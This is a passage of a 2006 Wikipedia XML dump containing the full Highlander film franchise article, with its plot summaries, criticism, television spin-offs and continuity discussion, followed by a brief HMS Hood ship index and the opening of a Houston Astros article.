[[fr:Histoire de l'Inde]]
[[he:היסטוריה של הודו]]
[[lt:Indijos istorija]]
[[pl:Historia Indii]]
[[pt:História da Índia]]
[[ru:История Индии]]
[[fi:Intian historia]]
[[sv:Indiens historia]]
[[te:భారతదేశ చరిత్ర]]
[[zh:印度历史]]</text>
    </revision>
  </page>
  <page>
    <title>Highlander (film)</title>
    <id>13891</id>
    <revision>
      <id>41805076</id>
      <timestamp>2006-03-01T21:40:21Z</timestamp>
      <contributor>
        <ip>66.106.141.19</ip>
      </contributor>
      <comment>/* Television and Animation */</comment>
      <text xml:space="preserve">[[Image:Highlander.jpg|frame|Connor MacLeod of the Clan MacLeod ([[Christophe Lambert|Christopher Lambert]])]]
'''''Highlander''''' is a [[1986]] [[fantasy]] [[film|movie]] directed by [[Russell Mulcahy]]    and starring [[Christophe Lambert|Christopher Lambert]], who plays ''[[Connor MacLeod]]'', the Highlander. Born in [[Glenfinnan]], in the [[Scottish Highlands]] in the 16th century, MacLeod is an [[immortality|Immortal]].  The original movie spawned three subsequent theatrical releases and two television series of relative success.

As the basic premise, an Immortal cannot die unless [[decapitation|decapitated]] &amp;mdash; the original movie made no peremptory reference as to whether this would have to be done by another immortal in order to work; however the television show later clarified the issue by affirming that any decapitation would suffice to kill an Immortal, even if performed by a mortal or as a result of an accident. All Immortals are engaged in an ancient dispute, at the end of which only one Immortal will be left (thus the movie's catch phrase: ''&quot;There can be only one''&quot;) and gain &quot;The Prize.&quot;  The original movie left many details to the imagination, with some filled out by the later movies and television series: in the original movie, there is no direct reference as to the fact that when the (yet unaware) Immortal receives his or her first fatal wound and &quot;dies&quot;, that his or her age at that point is the apparent physical age at which he or she will stay forever.  This concept was only formally clarified in the TV show.  The original movie also explicitly says that no one knows exactly what &quot;The Prize&quot; is, although it is established that if an evil Immortal obtains it, Humankind would suffer &quot;an eternity of darkness&quot; &amp;mdash; at the end of the original movie, when [[Connor MacLeod]] wins the Prize (according to that storyline), he obtains full mortality, and it is further hinted that the Prize may also consist of infinite knowledge.  

Among the clearly established facts, Immortals cannot have children and they may not fight on &quot;holy ground&quot; (the concept of which was not clearly established by the original movie, but later agreed to be any place held holy by any human creed).  Amidst the rules that were expanded or [[retcon]]ned by the TV show and the other movies are: the nature of &quot;The Quickening,&quot; which in the original movie appears to be the &quot;proximity premonition&quot; between Immortals and a supernatural connection that each Immortal has to the very world, but is later said to be a transference of power and knowledge from a defeated Immortal to the victor of a battle (although this is indicated in the original movie, where the phenomenon resembles closely a transference of power of some kind). 

Another key change made after the original movie was the existence of female Immortals: the original movie makes no reference to it, but it only shows male Immortals. Yet another aspect of the rules that was never touched originally, but was elaborated by the television series is the &quot;no interference&quot; rule, according to which, once two Immortals engage in combat, no other Immortal may interfere with it at any point.

The main difference is that the original movie depicts the end of the battle between the Immortals (later dubbed &quot;The Game&quot;), showing Connor MacLeod as the last remaining Immortal and winner of The Prize. Later movies and ''[[Highlander: The Series]]'' proposed a retcon, according to which the [[1985]] final battle between MacLeod and the Kurgan in [[New York City]] did indeed take place, but it would not have been the actual final battle; the Gathering had not happened (or at least, had not concluded) and the Game continues.  In the original movie, the Gathering (described by Ramirez as follows: &quot;&lt;cite&gt;when only a few of us are left, we will feel an irresistible pull towards a far away land, to fight for The Prize&lt;/cite&gt;&quot;) had taken place in 1985, when approximately six Immortals were left alive; in [[New York City]], which can be considered to have been the &quot;distant land;&quot; since the east coast of the [[Americas|American continent]] would have been rather distant from the rest of the world up until relatively recent times.

The ''Highlander'' films and the [[television program|television series]] that was spun off from it have attracted a devoted following and led to the creation of a great deal of [[fan fiction]], much of it available on the [[Internet]].

Typical of the series is the use of [[flashback]]s from previous events in the Highlander's long life.

The phrase ''&quot;There can be only one!&quot;'' is used frequently in promoting the movies, resulting in &quot;highlander&quot; also being a generic phrase for computer programming solutions that involve exclusive access to a resource.

{{spoiler}}
== ''Highlander : There Can Be Only One'' ==
The first film of the series, originally called &quot;Highlander: There Can Be Only One&quot; was released on [[March 7]], [[1986]]. The film features a number of flashback scenes establishing [[Connor MacLeod]] of the Clan [[Clan MacLeod|MacLeod]]'s early history.

According to them he was born in the year [[1518]] ''&quot;in the village of [[Glenfinnan]] on the shores of [[Loch Shiel]]&quot;'' (historically this village is better known as the rally point where [[Bonnie Prince Charlie]]'s troops first concentrated on [[August 19]], [[1745]] See:[http://www.road-to-the-isles.org.uk/glenfinnan.html Glenfinnan]). In [[1536]], his [[clan]] was in conflict with the rival [[Clan Fraser]]. Connor had his first battles in the conflict. The Frasers had employed an experienced Immortal only known as The Kurgan ([[Clancy Brown]]), and he apparently recognized that Connor was a fellow Immortal, though even Connor had not discovered this yet. The Kurgan managed to mortally wound Connor in battle, but the MacLeods recovered the body before he could decapitate it. The MacLeods mourned Connor, but he revived shortly after his &quot;death.&quot; Accusing him of [[witchcraft]], Connor's clansmen tortured him, and were about to execute him when his cousin Angus MacLeod ([[James Cosmo]]) gave him brief aid. He managed to escape with his life, but left in exile from his clan and birthplace.

Connor eventually settled in [[Jedburgh, Scotland]] where he married Heather MacDonald ([[Beatie Edney]]), his first wife, and received training as a [[blacksmith]] from her father. In [[1541]] he was located by a much older Immortal, who introduced himself as [[Juan Sanchez Villa-Lobos Ramirez]] ([[Sean Connery]]). Ramirez soon appointed himself Connor's tutor in the situation of being Immortal, their pursuit of the Prize, and the rules of this age-long &quot;Game.&quot; He also explained that his own Spanish name was just his current alias. He adopted it while serving as Chief [[Metallurgy|Metallurgist]] for [[Charles V, Holy Roman Emperor]] (also [[List of Spanish monarchs|King of Spain]] between [[1516]]-[[1556]]). He was originally [[Egypt]]ian, and his sword was a [[katana]] he received in [[Japan]] by his father-in-law [[Masamune]]. Masamune was the father of Princess Shakiko, Ramirez's third wife, and supposedly a genius ahead of his time in the forging of swords. The novelization of this film gives Ramirez's original name as Tak-Ne, his birth in [[890s BC|896 BC]], his first &quot;death&quot; in [[850s BC|851 BC]], and his marriage to Shakiko in [[590s BC|593 BC]].

Connor's training under Ramirez lasted for about a year. In [[1542]], the Kurgan managed to locate them both. He arrived at their residence while MacLeod himself was absent. The Kurgan and Ramirez dueled, with the frightened Heather their only spectator. The Kurgan managed to decapitate Ramirez, and proceeded to [[rape]] Heather, in the belief that he was further humiliating his old enemy (Ramirez) and &quot;his woman.&quot; Connor soon returned to find his residence in ruins, his mentor deceased, and his wife alive but traumatised, although she never told him about the rape. Connor stayed by his wife's side for the rest of her life, until she died of old age and natural causes in [[1590]]. Dying in Connor's arms, she confided that her only regret was not having his children. Connor had not physically aged in more than fifty years of marriage. After burying Heather and burning their residence, MacLeod started wandering the world, eventually journeying as far away as Japan. A number of other references in the film connected him to many historical figures and events. The movie hints that his experiences over time left him a bitter, cynical man.

The action then shifts to [[New York, New York|New York]], circa [[1985]], where the few surviving Immortals are drawn for &quot;The Gathering,&quot; a final series of confrontations to determine the victor of &quot;The Prize.&quot; Eventually, the last two surviving are Connor, under the alias of Russell Edwin Nash; and the Kurgan, under the alias of Victor Kruger. Meanwhile, the spike in murders by decapitation has drawn the attention of the police, who suspect Connor as the sole person responsible. Among the investigators of the case is police forensic scientist Brenda Wyatt ([[Roxanne Hart]]). Her investigation gets her closer to Connor, and they eventually fall in love with each other. This does not escape the attention of the Kurgan, who abducts her to get Connor to finally stand and fight him, instead of avoiding the final battle. Connor battles the Kurgan, defeats him, and apparently wins The Prize. Connor is left satisfied that the age-long Game is finally over. He proceeds in marrying Brenda and pursuing a new life. (It should be noted that subsequent movies and series have [[retcon]]ned the battle with the Kurgan into a personal victory for Connor, instead of the actual end of &quot;The Game.&quot;)

The film was directed by [[Russell Mulcahy]] and scripted by [[Peter Bellwood]], [[Larry Ferguson]] and [[Gregory Widen]]. It remains arguably the best-known film of the Highlander series, and the one better-received by the public. It is noted for its introduction of the themes and concepts further explored by the later movies and TV series.

The original movie had a well-regarded soundtrack by [[Queen (band)|Queen]], most notably containing &quot;Princes of the Universe,&quot; which is also used in the ''Highlander'' television series [[title sequence]]. While an album specifically tied to the ''Highlander'' movie was never released, the Queen album ''&quot;[[A Kind Of Magic]]&quot;'' (a phrase spoken twice in the movie by Connor) featured most of the songs from the film, as well as other music on the same theme. Notably, Queen's version of &quot;New York, New York&quot; (playing while the Kurgan drives Brenda through New York) was never released by Queen. All the Queen songs in Highlander were purposely written for the movie, except the song &quot;Hammer To Fall&quot; which had been previously released on their album ''[[The Works (Queen album)|The Works]]'' in [[1984 in music|1984]]. Queen saw an early screening of Highlander, and decided to compose music for the film's entire non-symphonic soundtrack. They wrote many of the songs specifically to match the mood of the scenes when the songs were played.

== ''Highlander II: The Quickening'' ==
=== Plot ===
Released on [[January 31]], [[1991]]. The film features a series of events occurring over a period of about twenty-five years from August, [[1999]] to [[2024]].

The film's opening scene occurs on August, [[1999]]. News broadcasts explain that the [[ozone layer]] will be completely gone in a matter of months, and that the [[ozone hole]] has been significantly expanded and covers most of planet [[Earth]]. In [[Africa]] millions have died, due to the effects the unfiltered sunlight has had on them. Among them is Connor's wife, who makes him promise that he will work in solving the problem presented. (In the original release of the film, this woman is revealed to be Brenda Wyatt, per her tombstone seen in the movie; ''Highlander III'' somewhat contradictorily reveals that Brenda died around 1987, with Alex Johnson possibly having died circa 1995.)

In the period following his wife's death, Connor becomes the supervisor of a scientific team attempting to create an artificial shield, which will cover the planet and protect it from the [[Sun]]'s radiation. The actual head of the team is Dr. Allan Neyman ([[Allan Rich]]). In [[1999]], the team succeeded in its goal, and Earth gained its artificial shield filtering sunlight in place of the ozone layer. MacLeod and Neyman were proud in having apparently saved humanity, and believed they would be remembered for a thousand years. However, the shield has the side-effect of condemning the planet to a state of constant night, and humanity can no longer see the [[sun]], the [[moon]], or the [[star]]s.

The film then proceeds to the year [[2024]]. According to a narration by Connor, twenty-five years of darkness have had caused humanity to lose hope and fall into a decline. The Shield has fallen under the control of &quot;Shield [[Corporation]],&quot; and its current head David Blake ([[John C. McGinley]]), taxing for its services in pursuit of profit. A number of [[terrorism|terrorists]] have emerged trying to take down the Shield. Among them is Louise Marcus ([[Virginia Madsen]]), a former employee of the Corporation. Meanwhile, Connor has since begun aging once again ever since his 1985 victory over the Kurgan -- a result of his winning The Prize. He has physically aged into a frail old man, and expects himself to eventually die of natural causes.

Meanwhile, MacLeod has been able to recover his memories from a previous life in his series of [[reincarnation]]s. A flashback to &quot;Planet Zeist 500 years ago&quot; begins with the last meeting of the members of a rebellion against the rule of General Katana ([[Michael Ironside]]). The rebellion's leader, a previous incarnation of Ramirez, chooses &quot;a man of great destiny&quot; from among them, Connor's previous incarnation, to carry out a mission against Katana. At this moment, Katana and his troops attack, and the rebellion is crushed. Katana orders his men to capture &quot;Ramirez&quot; and &quot;MacLeod&quot; alive, and kill the rest of the rebels. The two captives are put on trial by Zeist's [[priest]]s, who sentence them to be exiled from Zeist and reborn on Earth as Immortals in pursuit of the Prize. Given the choice to grow old and die on Earth or return to Zeist, they choose Earth. Katana is unsatisfied with their decision, but the sentence is executed and the events of the previous film follow. Oddly, both Immortals were born before [[1524]] on Earth; whether the &quot;500 years ago&quot; message was in error, or their Earth incarnations were somehow born before the death of their Zeist incarnations is left unexplained.

The film then returns to the Earth of 2024. Louise Marcus discovers that the ozone layer has been reformed, and the artificial Shield is no longer needed. The Corporation is aware of this development, but has apparently decided to hide it from the general public in order to maintain its main source of profit. Meanwhile on Zeist, General Katana is still alive. His information seems to indicate that Connor wants to return to Zeist. However, he decides that cannot be allowed to happen and sends his Immortal henchmen Corda ([[Pete Antico]]) and Reno ([[Peter Bucossi]]) to Earth to kill him in battle.

Louise manages to reach Connor first, and asks for his help in taking down the Shield. To Louise's disappointment, she finds the passionate person she once admired to have grown into &quot;a tired old man.&quot; MacLeod explains to Louise that he is dying, and expresses his disapproval of terrorism. Before Connor and Louise can finish their conversation, Corda and Reno locate them and attack. MacLeod soon manages to decapitate them both, and in the process regains his youthful appearance. While he absorbs their energy, Connor summons Ramirez.

In [[Glencoe, Scotland]], the location of his death, Ramirez is apparently revived. He finds himself on a theatrical stage during a performance of [[William Shakespeare]]'s ''[[Hamlet]]''. Meanwhile, in New York Connor has found a new lover in Louise Marcus. He attempts to explain to her the concepts of his Immortality, but she finds them confusing. Elsewhere in New York, General Katana arrives, and proceeds to spread havoc.

Both Ramirez and Katana soon adapt to their new environment. Ramirez's [[earring]]s are apparently valuable enough to pay for the new costume he acquires from the &quot;finest and oldest&quot; tailor's shop in Scotland, and for an [[Aircraft|airplane]] ticket to New York. On the other hand, Katana finds New York much to his liking. After entertaining himself for a while, Katana manages to locate his old enemy. Their first encounter in centuries proves to be indecisive, though.

Soon enough, Connor is also reached by Ramirez. The latter joins MacLeod and Louise in their plan to take down the Shield. Katana had apparently predicted this, and so forges an uneasy alliance with David Blake. The conflict between the two sets of allies eventually leads to the subsequent deaths of Dr. Allan Neyman (employed by Blake and informant of Connor, killed by his employer as a &quot;traitor&quot;), Ramirez (sacrificing himself to save Connor and Louise), David Blake (killed by Katana while trying to double-cross him), and General Katana (killed by Connor in their final confrontation). MacLeod succeeds in taking down the Shield by using the combined energies of his final Quickening from General Katana. Louise sees the stars for the first time in her life. Then Connor claims his Prize by returning to Zeist with Louise accompanying him (only in the syndicated TV cut of the film...in the theatrical and DVD versions, both remain on Earth).

=== Criticism ===
Set in the early 21st century, this film veers towards [[science fiction]]. It was again directed by [[Russell Mulcahy]], and scripted by Peter Bellwood, with other material by [[Brian Clemens]] and [[William Panzer]]. Upon release, this film was met with harsh criticism by both critics and audiences. Fans of the original film were less than pleased with the concept of Immortals being [[extraterrestrial life|aliens]] from Planet Zeist and with the revival of Ramirez, whose dramatic death scene in the previous film was considered among its highlights. This is often viewed as contradicting the original movie.

Apart from being inconsistent with the 1986 original's storyline, audiences found the conflict between the rebellion and General Katana to be too reminiscent of the conflict between the [[Rebel Alliance (Star Wars)|Rebel Alliance]] and the [[Galactic Empire (Star Wars)|Galactic Empire]] featured in [[Star Wars]]. Critics and audiences alike pointed out that the characters suffered from a lack of development and motivation, as gratuitous action scenes left little time for it. An example often offered is that no reason was provided for Katana's sudden interest in Connor after apparently losing contact with him for 506 years, and his insistence on killing his old enemy while he could wait for him to die without outside interference. However, it should be noted that the film has found a number of fans who found its faults to be a source of amusement and ridicule.

Highlander II's apparent failure has been seen by some as a result of the producers' interference with the [[director's cut|work of director]] [[Russell Mulcahy]], who personally hated the final product so much he walked out of the film's world premiere after viewing its first 15 minutes. For similar reasons, Christopher Lambert threatened to walk out of the project when it was nearing fruition, but he didn't, due to contract obligation. 

Some time later, Mulcahy made a [[director's cut]] version known as '''''Highlander II: The Renegade Version'''''. The film was reconstructed largely from scratch, with certain scenes removed and others added back in, and the entire sequence of events changed. All references to the Immortals being aliens from another planet were eliminated; instead, this cut reveals that the Immortals are from an unspecified, distant past on Earth, banished by priests into random locations in the future to keep the Prize from being won in their lifetime (the option to return to the past is an option offered ''in addition'' to the mystical Prize of the first film). This version is generally considered a major improvement on the theatrical release, and obtained a far more favourable reception. Nevertheless, the events of both versions were generally ignored by the subsequent films and series.

One joke from fans of the first film is a suggested [[tagline]] based on a phrase from the films:
&quot;''Highlander II: There should have been only one!''&quot;

==''Highlander III: The Sorcerer''  (''Highlander: The Final Dimension'')==
First released on [[November 25]], [[1994]]. Effectively a prequel to ''Highlander II'', as the main events take place in [[1994]].

The film starts with a flashback that occurs sometime after the death of Heather. Events of the flashback can be estimated to occur during the late 16th century or early to middle 17th century. Connor has travelled to [[Japan]] to request training from the immortal Japanese sorcerer Nakano ([[Makoto Iwamatsu]], better known as Mako), an acquaintance of Ramirez. Nakano held his residence in a cave of Mount Niri and had gained a reputation as a master of [[illusion]]. The screenplay gives Nakano's first &quot;death&quot; as occurring in [[743 BC]].

How long this training lasted is left uncertain, but it was never completed. A fellow immortal named Kane ([[Mario Van Peebles]]) and apparently an old acquaintance of Nakano, was also interested in mastering the power of illusion. Nakano had reportedly denied him training two centuries ago. Kane had apparently gained in experience and ability since that time. He was making his way across [[Asia]] in order to reach Nakano again. He also had two traveling companions with him. These two [[Mongolia]]n Immortals were left unnamed in the film but the novelization named them as Khabul Khan ([[Jean-Pierre Perusse]]) and Senghi Khan ([[Raoul Trujillo]]).

Kane would supposedly attack and decapitate every other Immortal the trio encountered during their journey. Eventually they passed from [[China]] to Japan, and started seeking Niri. Entering a nearby village seeking information, they proceeded to burn it to the ground and massacre its population. Eventually they managed to reach the cave. Kane soon managed to defeat and decapitate Nakano, despite Connor's attempts to prevent this. However the energies released during the battle cause the cave to collapse. Connor managed to escape in time, but Kane and his men were left trapped. They were apparently soon forgotten, and their situation prevented them from participating in the Gathering of [[1985]].

Another extended flashback describes events in the late 18th century. In [[1788]]/[[1789]] Connor was in [[France]] when he made the acquaintance of Sarah Barrington ([[Deborah Unger]]), an Englishwoman visiting relatives there. The two soon started to enjoy conversing together and then racing their [[horse]]s against each other. Eventually they became lovers. But when the [[French Revolution]] began, Sarah had to return to [[England]] while Connor became involved in its events.

During the revolution [[Joseph-Ignace Guillotin]] introduced the [[guillotine]] as the main method of [[capital punishment]]. Historically the first execution of this kind in France occurred on [[April 25]], [[1792]]. In the context of the film it was effective against both mortals and immortals. At some point Connor was sentenced to this manner of execution, supposedly for treason against King [[Louis XVI of France]]. His Immortal friend Pierre Bouchet explained that he was tired of his immortal life, and so offered to die in his place. Connor was falsely reported deceased. Believing her lover dead, Sarah was left grieving. Historically, Louis XVI was deposed on [[August 10]], [[1792]], and the monarchy officially abolished on [[September 21]], [[1792]]. So it can be supposed that Connor's failed execution occurred between April and August of [[1792]].

By [[1800]], [[Napoleon I of France|Napoleon Bonaparte]] had managed to establish himself namely as [[First Consul]] of France, and effectively as its [[dictator]]. The Revolution was over, and Connor apparently left France for England in an attempt to reintroduce himself to Sarah. Connor soon located her. But Sarah still considered him deceased, and was by this point a married woman and mother of a number of children. Connor left without contacting her and returned to his own solitude.

In [[1994]], Connor was again a widower. In [[1987]], Brenda, his last wife, was reportedly killed in a car accident after only two years of marriage. Connor survived the accident relatively unharmed. He was left alone to raise their adoptive son John MacLeod ([[Gabriel Kakon]]). They had settled in [[Marrakech]], [[Morocco]], and Connor was at peace for the first time in centuries. This peace would prove short-lived, though. In [[Japan]], two [[archeology|archaeologist]]s had started excavating Nakano's cave in order to discover whether the sorcerer's legend was based on fact or not. American [[Dr. Alexandra &quot;Alex&quot; Johnson]] ([[Deborah Unger]]), apparently a distant descendant of Sarah who greatly resembled her, believed Nakano was a historical figure. Japanese Dr. Fuji Takamura ([[Daniel Do]]) -- apparently a great fan of [[Babe Ruth]] -- on the other hand, believed Nakano to be a legendary figure.

The film sees MacLeod defeat a wizard with hypnotic abilities. The third movie largely ignores many of the plot inconsistencies introduced by the second film. 

Most of the film was shot in [[Culture of Morocco#Movies in Morocco|Morocco]].

== ''Highlander: Endgame'' ==
[[Image:heg498c.jpg|right|thumb|Bruce Payne as Jacob Kell]]
First released on [[September 1]] [[2000]], this film was an attempt to merge characters from Highlander I and characters and situations from the [[Highlander: The Series|''Highlander'' television series]]. The story begins with a flashback to 16th century Scotland, where we are introduced to Jacob Kell ([[Bruce Payne]]), once a friend of Connor MacLeod's ([[Christophe Lambert|Christopher Lambert]]).

While attempting to execute Connor Macleod's mother for witchcraft in the village of Glenfinnan, both Kell and his adopted father, a priest named Father Rainey, are seemingly killed by a vengeful Connor. Glenfinnan is set ablaze, as Connor escapes with the corpse of his murdered mother. Jacob Kell was, however, reborn as an Immortal, and has since vowed vengeance against Connor for his foster-father's death. He has spent the last four centuries killing all the people Connor loves, including Rachel Ellenstein, (the war orphan from the first Highlander film). He also has gathered a posse of lesser Immortals, who overpower other Immortals and allow Kell to take their heads. At the start of the film, Kell has over 600 Immortal kills, making him the most powerful Immortal on Earth, if one takes this as a metric of power.

After Rachel's death, Connor has hidden in a place called the Sanctuary, where Immortals are protected by the Watchers (a secret society introduced in the TV series) to prevent there ever being only one Immortal left.

After the flashback, Kell and his posse of Immortals attack the Sanctuary, and Connor is believed to be beheaded along with the other Sanctuary Immortals. Duncan Macleod ([[Adrian Paul]]) is given a vision of this evil act, and investigates. Eventually, he discovers Connor was spared by Kell, so as to allow the evil Immortal to make his life even more miserable. He wants to kill Duncan to torture Connor, and given the number of Quickenings he has received, this seems very likely. Therefore, Connor forces Duncan to kill him, and thereby absorbing all of Connor's power in order to defeat Kell.

There is also a sub-plot concering Duncan's Immortal wife, a woman he wedded and then murdered on their wedding night, in order that she become Immortal. However, this has driven her into the arms of Kell, and he must earn her forgiveness, or face her as part of Kell's posse.

The theatrical release of this film was relatively short (87 min.) and rather fast-paced. The DVD version is close to 2 hours in length, boasts a happy ending, and an improved sound mix and soundtrack. The DVD version also contains a rough cut of the film (whose style has an &quot;edited for TV&quot; feel), with a subplot involving Connor MacLeod giving a Christmas tree to an orphanage every Christmas, an activity picked up by Duncan after Connor's death.

== ''Highlander: The Source '' ==
{{future film}}
The 5th installment to the &quot;Highlander&quot; film series is currently being filmed. It is unknown as of yet whether there will be shown in [[movie theater]]s or if it will go [[direct-to-video|directly to DVD and VHS]]. 

[[Image:Duncan.gif|thumb|180px|Duncan MacLeod of the Clan MacLeod ([[Adrian Paul]])]]

== Television and Animation==
*A 1990s television series used the same basic ideas as the films, and it was simply called [[Highlander: The Series]]. Its first episode was released on [[October 6]], [[1992]]. The series centred on Connor MacLeod's much younger Immortal &quot;clansman&quot; Duncan MacLeod ([[Adrian Paul]]). Connor ([[Christophe Lambert|Christopher Lambert]]) makes only one guest appearance in the very first episode to ensure continuity. 

Half of each year's production was shot in [[Canada]], the other half in [[France]], requiring considerable plot machination to get all the main characters to migrate back and forth regularly. 

The show also starred [[Jim Byrnes]] as [[Joe Dawson]], a member of a [[secret society]] called &quot;Watchers&quot;; [[Stan Kirsch]] as [[Richie Ryan (Highlander)|Richie Ryan]], a young petty thief who Duncan MacLeod takes in and become great friends -- and early in season 2 becomes Immortal; [[Elizabeth Gracen]] as Amanda, an Immortal who is over 1,000 years old and a thief, but a great person; [[Peter Wingfield]] as [[Methos]], the oldest living Immortal, who is over 5,000 years old (the charicter established in conversation that it was 5000 years ag he took his first head before that is &quot;a little blurry&quot;); and the late [[Werner Stocker]] as the 2,000-year-old Immortal [[priest]] named [[Darius (Highlander)|Darius]]. The series also starred [[Alexandra Vandernoot]] as Duncan MacLeod's girlfriend named [[Tessa Noel]].

This series had six seasons, and 119 episodes. Its last episode was released on [[May 16]], [[1998]].

*A [[1994]] animated series, [[Highlander: The Animated Series]], was set in the far future, and featured the character of [[Quentin MacLeod]], voiced by [[Miklos Perlus]].

*[[Highlander: The Raven]] was a series that took one of the characters in the previous series, [[Amanda (Highlander)|Amanda]] ([[Elizabeth Gracen]]), as its central character.  She was accompanied by former police officer [[Nick Wolfe]] ([[Paul Johansson]]). The first episode was released on [[November 7]], [[1998]].

*A [[2001]] animated flash series, [[The Methos Chronicles]], was an internet flash series based on [[Methos]], a character drawn from the television series. [[Peter Wingfield]] was the voice actor for the main character of the short series, which lasted only one eight-episode season. The animation quality was consider by most to be poor, but it has found a cult following.

*The producers are making a new [[anime]] series/movie called [[Highlander: Vengeance]]. It is about a new Highlander named Colin MacLeod. Set in the future, Colin has to battle Immortals and giant robots.

== Series/Film separation ==
To newcomers, the most confusing aspect of the franchise are the blatant inconsistencies and paradoxes between the television series and the films. To explain the paradoxes presented, the entire ''Highlander'' franchise may be seen as completely separate storylines, occurring in separate realities. The major realities thus being:

#The reality of the first ''Highlander'' movie, where Connor MacLeod is the Immortal who wins the prize, and thus the last Immortal. ''Highlander III'' is a direct successor to ''Highlander'', and establishes that a group of Immortals -- trapped in a cave centuries prior to The Gathering -- escape after MacLeod's fight with Kurgan, and the battle for The Prize begins again.
#The reality of the original cut of ''Highlander II'', where the Immortals were in fact aliens from another planet who were exiled to Earth.  The aliens eventually kill each other off, except for Connor MacLeod, who lives into the 21st Century, when another group of aliens comes after him; thus beginning a fight for survival. ''Highlander II'' is unconnected in any way to the other films or television series. ''The Renegade Version'' attempts to fit more closely with existing continuity (''i.e.'', eliminating all references to aliens); debate still rages over how much it succeeds in this.
#The realities of the ''Highlander'' television series only, or of ''Highlander: Endgame'' only.  The differences between these single realities, and yet a third &quot;mixed&quot; reality of ''Highlander: The Series'' and ''Highlander: Endgame'' are mainly related to information established within the series.  For example, assuming for the moment that one leaves out various Immortal killings in ''Endgame'' being done on Holy Ground (which one could argue ''Endgame'' simply shows that the rules of &quot;The Game&quot; are not necessarily supernaturally enforced), we are still left with the fact that in ''Endgame'' it is established that Duncan once had a wife.  The problem with this, though, is that in ''Highlander: The Series'', it is clearly indicated that Duncan had never been married.  In the season 2 episode, &quot;The Darkness&quot;, Duncan was hesitant to ask Tessa to marry him, partly because of what a gypsy woman had once said to him long ago...&quot;You will have hundreds of women, but you will never marry, not me, not anyone... MacLeod, you will bury many women, but you will marry none. You will always be alone; do you hear me? Alone!&quot;  Because of this warning/curse, and since he had been told this warning/curse hundreds of years ago when he had yet to marry, there is no way to explain Duncan all of a sudden having had a wife hundreds of years ago as is stated in ''Endgame''.
#The mixed reality of the ''Highlander'' television series and ''Highlander: Endgame'', which incorporates some of the elements of the first ''Highlander'' film as well, but is not a continuation. In this reality, there are a much larger number of Immortals still living in the 20th century, with The Gathering still ongoing.
#The reality of the first, third, and fourth ''Highlander'' films, the ''Highlander'' television series, ''Highlander: The Raven'', and presumably the upcoming fifth feature film (''[[Highlander: The Source]]''). In this reality, Connor MacLeod fought against the Immortal Kane in 1994, entering into the &quot;Sanctuary&quot; the following year, with Duncan MacLeod slaying [[Jacob Kell]] ten years later.
#If ''Highlander: Endgame'' (Highlander IV) and ''Highlander: The Final Dimension'' (Highlander III) are in the same series continuity, then the later film ignores the life that Connor MacLeod has built for himself in HL3, namely his adopted son, John MacLeod.

The television series is now regarded by some fans to be a separate &quot;universe,&quot; in which most of the events of the original film can be used as background, except for the facts that Connor was not the only Immortal left after defeating the Kurgan, and that Duncan is considered the main Immortal most likely to win The Prize, which is referred to by Duncan in the first season as event happening in an unknown future. 

Connor's battle with the Kurgan (as alluded to in the Series pilot and in one later episode) is therefore simply viewed as an important era in his life, and not a final fight for &quot;The Prize.&quot; The second movie (and its plots and devices) is not considered part of the series' universe, although the third film fits in without much difficulty.  Fans have dubbed ''Highlanders 1,'' ''2,'' and ''3'' as the &quot;Connor Universe,&quot; and the Television Series and ''Highlander: Endgame'' as the &quot;Duncan Universe.&quot;

==Books and CDs==
* ''Highlander'', by Garry Kilworth — Based on the cult film classic.

* ''The Best of Highlander: The Book'', by Maureen Russell

* The Original Scores - ''Highlander; Highlander 2: The Quickening'' and ''Highlander:The Final Dimension''

==External links==
{{wikiquote}}
*{{imdb title|id=0091203|title=Highlander}}
*{{imdb title|id=0102034|title=Highlander II: The Quickening}}
*{{imdb title|id=0110027|title=Highlander III: The Sorcerer}}
*{{imdb title|id=0144964|title=Highlander: Endgame}}
*{{imdb title|id=0103442|title=Highlander: The Series}}
*[http://www.angryalien.com/0905/highlanderbuns.asp Highlander re-enacted by bunnies in 30 seconds]
*[http://www.brucesangels.com/kell.html Jacob Kell fan page]
*[http://www.youtube.com/w/?v=rOFQU3lCU1U Video: Making of &quot;Princes of the Universe&quot;]

[[Category:1986 films]]
[[Category:1990s TV shows in the United States]]
[[Category:Fantasy films]]
[[Category:Film series]]
[[Category:Highlander]]

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    </revision>
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  <page>
    <title>HMS Hood</title>
    <id>13893</id>
    <revision>
      <id>34239384</id>
      <timestamp>2006-01-07T13:57:25Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
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      <minor />
      <comment>gdrbot - replaced {{disambig}} with {{shipindex}} (see discussion at [[Wikipedia talk:WikiProject Ships]])</comment>
      <text xml:space="preserve">Three ships of the [[Royal Navy]] have been named '''HMS ''Hood''''' after members of the Hood family, which produced several notable Navy officers:

* The first [[HMS Hood (1859)|''HMS Hood'', launched in 1859]] as ''Edgar'', was a [[second-rate]] [[ship of the line]] of 91 guns. In 1860 she was renamed to honor Admiral [[Samuel Hood, 1st Viscount Hood]]. Constructed of wood and sail-powered, she was later fitted with a steam engine. She was decommissioned in [[1888]].
* The second [[HMS Hood (1891)|''HMS Hood'', launched in 1891]], was a modified [[Royal Sovereign class battleship|''Royal Sovereign''-class]] [[battleship]] built at [[Chatham, Kent|Chatham]], [[England]], launched in [[1891]] and sunk as a [[blockship]] in [[1914]]. She was named after the [[First Sea Lord]], Admiral Sir [[Arthur Hood]].
* The last [[HMS Hood (51)|''HMS Hood'', launched in 1918]], was an [[Admiral class battlecruiser|Admiral-class]] [[battlecruiser]] named after Admiral Samuel Hood, built by [[John Brown and Company]], [[Scotland]]. She was sunk in [[1941]] by the German battleship [[German battleship Bismarck|''Bismarck'']] in the [[Battle of the Denmark Strait]], only three crew members out of 1418 surviving.

{{shipindex}}

[[Category:Royal Navy ship names|Hood]]

[[de:HMS Hood]]
[[no:HMS Hood]]
[[pt:HMS Hood]]
[[sv:Hood]]</text>
    </revision>
  </page>
  <page>
    <title>Houston Astros</title>
    <id>13894</id>
    <revision>
      <id>41503404</id>
      <timestamp>2006-02-27T20:29:16Z</timestamp>
      <contributor>
        <ip>128.190.62.54</ip>
      </contributor>
      <comment>/* 1990s: Building a model franchise */</comment>
      <text xml:space="preserve">{{MLB infobox Astros}}

The '''Houston Astros''' are a [[Major League Baseball]] team. They are in the Central Division of the [[National League]]. They are the current defending [[National League]] champions, and rose to prominence in [[October 2005]] when they went to the [[World Series]] for the first time in franchise history. 

== Franchise history ==
===Beginnings: The 1960s===
